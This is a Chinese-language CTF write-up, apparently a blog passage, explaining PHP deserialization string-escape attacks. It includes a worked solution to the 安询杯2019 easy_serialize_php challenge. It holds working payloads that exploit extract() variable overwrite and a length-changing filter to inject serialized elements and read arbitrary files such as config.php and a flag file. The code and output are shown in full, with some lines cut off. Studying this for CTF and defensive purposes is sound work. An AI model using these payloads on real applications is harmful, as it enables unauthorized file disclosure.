";}s:5:"photo";s:10:"config.php";}

<";}s:5:"photo";s:10:"config.php";}'),
 'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
";}s:5:"photo";s:10:"config.php";},刚好204个长度,经过filter过滤函数后,where变成了hacker,反序列化的长度变化了,但是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,作为另一个反序列化的其中一个元素,而末尾的'}又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.



a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

array(4) {
 'phone' =>
 string(11) "01234567890"
 'email' =>
 string(15) "12345678@11.com"
 'nickname' =>
 array(1) {
 [0] =>
 string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
 }
 'photo' =>
 string(10) "config.php"
}




安询杯2019-easy_serialize_php


源码


<"user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
 echo '<a href="index.php" rel="external nofollow" >source_code</a>';
}

if(!$_GET['img_path']){
 $_SESSION['img'] = base64_encode('guest_img.png');
}else{
 $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
 highlight_file('index.php');
}else if($function == 'phpinfo'){
 eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
 $userinfo = unserialize($serialize_info);
 echo file_get_contents(base64_decode($userinfo['img']));
}




分析
源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:extract变量覆盖,file_get_contents任意文件读取.
将变量$userinfo['img']逆推回去发现,是由参数img_path控制的,但是经过sha1加密,我们无法得知加密后内容,但结合前面的extract变量覆盖,我们可以自己POST构造.
构造了之后,会经过序列化filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.
payload构造


我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是img,user,function,而我们能控制的只有后面两个,我们需要构造的payload是这样的

f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}

但是不经任何改变则是这样的

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

我还是利用截断的思想不让其读取元素img的值,我们自己来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user元素吧,len('";s:8:"function";s:10:"')的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img进行截断

a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

截断只需}即可,并且不为读取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},这里我们新增了一个元素,因此吞噬后function元素消失了,随便补充好元素即可.
原理解析


<"user"=>"flagflagflagflagflagflag",
 "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
 //"user"=>'guest',
 //"function"=>'show_image',
 "img"=>sha1(base64_encode('guest_img.png'))
);

print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));

"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

Array

(

    [user] => ";s:8:"function";s:62:"2

    [img] => ZDBnM19mMWFnLnBocA==

    [tql] => tql

)


总结